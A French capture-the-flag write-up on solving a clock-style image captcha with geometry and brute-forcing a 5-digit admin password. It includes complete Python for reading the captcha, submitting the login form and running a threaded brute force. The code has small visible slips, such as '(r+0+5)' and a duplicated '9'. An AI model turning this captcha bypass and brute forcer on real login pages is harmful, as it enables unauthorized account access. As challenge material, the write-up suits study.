Bypass de captcha (Pas si chronophage)

Pour ce deuxième write-up j’aborde la résolution d’un petit challenge de dev bien sympa dans lequel on va devoir bypass un captcha de type horloge.

Description

Cette application permet la connexion de l’utilisateur à son compte de box internet.

La page de login se présente comme ceci:

Page de connection

Une indication nous apprends que le login est « admin » et que le mot de passe est une suite de 5 nombres.

On va devoir donc bypass le captcha pour pouvoir bruteforce cette page de login.

Trouver la positon des aiguilles

On commence par réfléchir un peu: comment repérer les aiguilles sur l’image (malgré les parasites) ? Et bien on va faire appelle à nos cours du collèges : l’équation du cercle. En effet, on sait que pour une cercle de rayon r et de centre (a,b), les points de coordonnées (x,y) appartenant au cercle vérifie l’équation :

équation du cercle

L’image fait 200×200 pixels, donc le centre de l’image, qui s’avère être le centre de l’horloge se trouve aux coordonnées (100,100). On mesure grossièrement sur Photoshop la taille des deux aiguilles (en pixels), puis on passe au cercle.

Comme on sait que les aiguilles sont toujours noirs, on peut parcourir tout les pixels de l’image, identifier les pixels appartenant au cercle de centre (100,100) et de rayon la taille des aiguilles, puis vérifier qu’ils sont bien noire. Si c’est le cas, alors on sait que ce pixel est un point de l’aiguille.

Les pixels appartenant au cercle rouge et étant noire font parties de la grande aiguille, et ceux appartenant au cercle bleu et qui sont noir font partie de la petite aiguille.

Au niveau du code python, j’ai rajouté un pas de 0.5 pour obtenir plus de points au cas où un parasite se situerai sur le point du cercle.

    def f_is_in_cercle(self,pos_point,pos_centre,r):
        is_in_circle =  (r+0.5)**2 <= (pos_point[0] - pos_centre[0])**2 +(pos_point[1] - pos_centre[1])**2 <= (r+0+5)**2
        return is_in_circle

Calculer les angles formés par les aiguilles

Maintenant que l’on connait la position d’un point de chaque aiguille, il nous faut retrouver l’heure qu’elle indique. Pour cela on va mesurer l’angle via la formule du calcul d’angle dans un triangle quelconque:

Pour cela on fixe un troisième point tout en haut de notre image, de coordonnée (100,0), et on applique bêtement la formule.

Calcul de l’angle de la grande aiguille

Dans le cas illustré ci-dessus, on calcul l’angle de la grande aiguille.

NB: attention, si la coordonnées des abscisses d’une aiguille est inférieur à la moitié de la taille de l’image, il faudra soustraire l’angle trouvé à 360. C’est le cas sur l’image ci-dessus: on prendre l’angle égale à 360° – angle_vert.

    def calc_angle(self,pos_point,pos_centre,r):
        H = (int(pos_centre[0]),int(pos_centre[1]-r))
        segment_PC = sqrt( (pos_centre[0]-pos_point[0])**2 + (pos_centre[1]-pos_point[1])**2 )
        segment_HC = sqrt( (pos_centre[0]-H[0])**2 + (pos_centre[1]-H[1])**2 )
        segment_HP = sqrt( (pos_point[0]-H[0])**2 + (pos_point[1]-H[1])**2 )

        #print(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC))
        if abs(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC)) > 1:
            return None
        angle = acos( ( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC) )*180/pi
        if pos_point[0] < self.IMG_SIZE[0]/2:
            angle = 360- angle
        return angle

Une fois qu’on a l’angle, il nous suffit de faire un produit en croix pour retrouver l’heure:

  • 3 heures = 90° => 1 heure = 30°
  • 15 minutes = 90° => 1 minutes = 6°

On adapte en python:

    def get_minute(self,angle):
        return angle/6
    def get_heure(self,angle):
        return angle/30

Maintenant on a tout pour casser le captcha.

class parse_horloge:
    def __init__(self,img_content = None,img="captcha.png"):
        if img_content != None:
            self.IMG = Image.open(BytesIO(img_content))
            self.IMG_debug = Image.open(BytesIO(img_content))
        else:
            self.IMG = Image.open(img)
            self.IMG_debug = Image.open(img)
        self.IMG_SIZE = (200,200)
        self.CENTRE = (self.IMG_SIZE[0]/2,self.IMG_SIZE[1]/2)

        self.LARGEUR_CONTOUR = 96
        self.LARGEUR_GRANDE_AIGUILLE = 70
        self.LARGEUR_PETITE_AIGUILLE = 37


    def find_grande_aiguille(self):
        for x in range(0,self.IMG_SIZE[0]):
            for y in range(0,self.IMG_SIZE[1]):
                coord = (x,y)

                if self.f_is_in_cercle(coord,self.CENTRE,self.LARGEUR_GRANDE_AIGUILLE):
                    if Image.Image.getpixel(self.IMG, coord) == (0,0,0):
                        Image.Image.putpixel(self.IMG_debug, coord, (255,255,0))
                        #print(coord)
                        return self.calc_angle(coord,self.CENTRE,self.LARGEUR_GRANDE_AIGUILLE)
    def find_petite_aiguille(self,angle_grande_aiguille):
        for x in range(0,self.IMG_SIZE[0]):
            for y in range(0,self.IMG_SIZE[1]):
                coord = (x,y)

                if self.f_is_in_cercle(coord,self.CENTRE,self.LARGEUR_PETITE_AIGUILLE):
                    if Image.Image.getpixel(self.IMG, coord) == (0,0,0):
                        Image.Image.putpixel(self.IMG_debug, coord, (255,0,255))
                        #print(coord)
                        #print(" heures: %i" % calc_angle(coord,CENTRE,LARGEUR_PETITE_AIGUILLE) )
                        angle = self.calc_angle(coord,self.CENTRE,self.LARGEUR_PETITE_AIGUILLE)
                        #print(angle)
                        if not angle_grande_aiguille-3 <= angle <= angle_grande_aiguille+3:

                            return angle

    # une heure = 30°
    # 1 minute = 6°
    #
    def get_minute(self,angle):
        return angle/6
    def get_heure(self,angle):
        return angle/30
    def calc_angle(self,pos_point,pos_centre,r):
        H = (int(pos_centre[0]),int(pos_centre[1]-r))
        segment_PC = sqrt( (pos_centre[0]-pos_point[0])**2 + (pos_centre[1]-pos_point[1])**2 )
        segment_HC = sqrt( (pos_centre[0]-H[0])**2 + (pos_centre[1]-H[1])**2 )
        segment_HP = sqrt( (pos_point[0]-H[0])**2 + (pos_point[1]-H[1])**2 )

        #print(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC))
        if abs(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC)) > 1:
            return None
        angle = acos( ( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC) )*180/pi
        if pos_point[0] < self.IMG_SIZE[0]/2:
            angle = 360- angle
        return angle

    def f_is_in_cercle(self,pos_point,pos_centre,r):
        is_in_circle =  (r+0.5)**2 <= (pos_point[0] - pos_centre[0])**2 +(pos_point[1] - pos_centre[1])**2 <= (r+0+5)**2
        return is_in_circle

    def run(self):
        angle_minute = self.find_grande_aiguille()
        
        angle_heure = self.find_petite_aiguille(angle_minute)
        #print( "%s:%s" % (str(floor(self.get_heure(angle_heure))).zfill(2),str(round(self.get_minute(angle_minute))).zfill(2)) )
        return "%s:%s" % (str(floor(self.get_heure(angle_heure))).zfill(2),str(round(self.get_minute(angle_minute))).zfill(2))

L’envoie du formulaire

Pour nous compliquer la tache, la valeur du captcha est d’abord transformé via une permutation dont les paramètres sont aléatoires, puis encodé en base64. Pour résoudre ce léger problème, j’utilise le module beautifulsoup pour parser la page de login, récupérer les paramètres de la permutation et formater les données à envoyer.

class Connect:
    def __init__(self,password="aaaaaa") -> None:
        self.r = requests.session()
        self.page = ""
        self.attribute_valeur = {}
        self.img_url = ""
        self.img_name = ""
        self.img_content = b""
        self.password= password
    def __make_request(self):
        '''
        Envoie une requete sur la page et sauvegarde l'objet retourné
        '''
        self.page = self.r.get(URL)
        if self.page.status_code != 200:
            print(Fore.RED + "[-] " + Fore.WHITE + "Erreur dans la connection")
    def __parse_request(self):
        '''
        Parse tout les elements importants du index.html, c'est à dire:
        - Les valeurs pour envoyer l'heure
        - L'image captcha
        '''
        soup = BeautifulSoup(self.page.text)
        for element in soup.find_all("a", {"class": "Login-key"}):
            self.attribute_valeur[element.find("div").text] = element.find("div")['data-pos']
        self.img_url = URL + soup.find("img",{"class":"captcha-image"})["src"]
    
    def __generate_random_name(self,size=10) -> str:
        '''
        Genere un nom aléatoire pour une image

        :param size:    Taille du nom de l'image
        '''
        letters = string.ascii_lowercase
        return  ( ''.join(random.choice(letters) for i in range(size)) ) + ".png"

    def __save_image(self,save_local=True):
        '''
        Recupere le code de l'image

        :param save_local:  Indique si l'image doit être sauvegardé sur la machine
        '''
        self.img_name = self.__generate_random_name(15)
        self.img_content = requests.get(self.img_url).content
        if save_local:
            f = open(self.img_name,"wb")
            f.write(self.img_content)
            f.close()


    def __calc_horloge_value(self,value : str) -> str:
        '''
        Encode l'heure du captcha

        :param value:   String contenant l'heure (12h) au format HH:MM
        '''
        value = value.replace(":","")
        value_transcoded = ""
        for number in value:
            value_transcoded += self.attribute_valeur[number]
        return value_transcoded
    def __prepare(self):
        self.captcha_value = self.__calc_horloge_value(self.time)
        self.user = USER
        self.password = self.password

        self.post_data = {"username":base64.b64encode(self.user.encode()).decode('utf-8'),
            "password":base64.b64encode(self.password.encode()).decode('utf-8'),
            "captcha":base64.b64encode(self.captcha_value.encode()).decode('utf-8')
        }

    def __send(self):
        self.r_response = self.r.post(URL + "login.php",data=self.post_data)
        #print(self.r_response.status_code)
        #print(self.r_response.text)
        if "Bad username/password" in self.r_response.text:
            return [False,"password"]
        elif "Wrong captcha" in self.r_response.text:
            return [False,"captcha"]
        elif "Bad Gateway" in self.r_response.text:
            return [False,"Bad Gateway"]
        elif not "dghack{" in self.r_response.text.lower():
            print(self.r_response.text) 
            return [False,"Unknown"]    
        else:
            print(self.r_response.text)       
            return [True,self.r_response.text]

    def run(self,log=True):
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Recuperation de la page")
        self.__make_request()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Parsing de la page")
        self.__parse_request()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Recuperation de l'image")
        self.__save_image(save_local=log)
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Lecture de l'image")
        self.parse_horloge = parse_horloge(img_content=self.img_content)
        self.time = self.parse_horloge.run()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Preparation du formulaire")
        self.__prepare()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Envoie du formulaire")
        return self.__send()

Le bruteforce

On a maintenant tout ce qu’il faut pour lancer notre bruteforce. On génère toutes les combinaisons de caractères possibles avec les chiffres de 0 à 9, puis on lance.

def generate_wordlist(l):
     yield from itertools.product(*([l] * 5)) 

def bruteforce(wordlist,th):
    for password_test in wordlist:
        password_test = ''.join(password_test)
        try:
                a = Connect(password=password_test)
                result = a.run(log=False)
        except:
                print("- (%i) %s : %sConnection erreur%s" % (th,password_test,Fore.RED,Fore.WHITE))
                result = [False,"Connection"]
        if result[0] == False and result[1] == "captcha":
            while result[1] != "password":
                print("- (%i) %s : %sWrong captcha%s" % (th,password_test,Fore.RED,Fore.WHITE))
                try:
                        a = Connect(password=password_test)
                        result = a.run(log=False)
                except:
                        print("- (%i) %s : %sConnection erreur%s" % (th,password_test,Fore.RED,Fore.WHITE))
                        result = [False,"Connection"]
        if result[0] == False:  
            print("- (%i) %s : %sWrong password%s" % (th,password_test,Fore.RED,Fore.WHITE))
            pass
        else:
            print("- (%i) %s : %sGood password%s !" % (th,password_test,Fore.GREEN,Fore.WHITE))
            sys.exit(0)
            break

DEBUG = False
CHAR = "01234567899"
N = 3 # Nombre de thread
def main():
    if DEBUG:
        a = Connect()
        a.run()
    else:
        wordlist = list(generate_wordlist(CHAR))
        print(len(wordlist))
        threads = []
        for i in range(0,N):
            start = int(len(wordlist)/N) * i
            end = int(len(wordlist)/N) * (i+1)
            print("threads %i : %i -> %i" % (i,start,end))
            threads.append( threading.Thread(target=bruteforce, args=(wordlist[start:end],i)) )
            
        for i in range(0,N):
            threads[i].start()

main()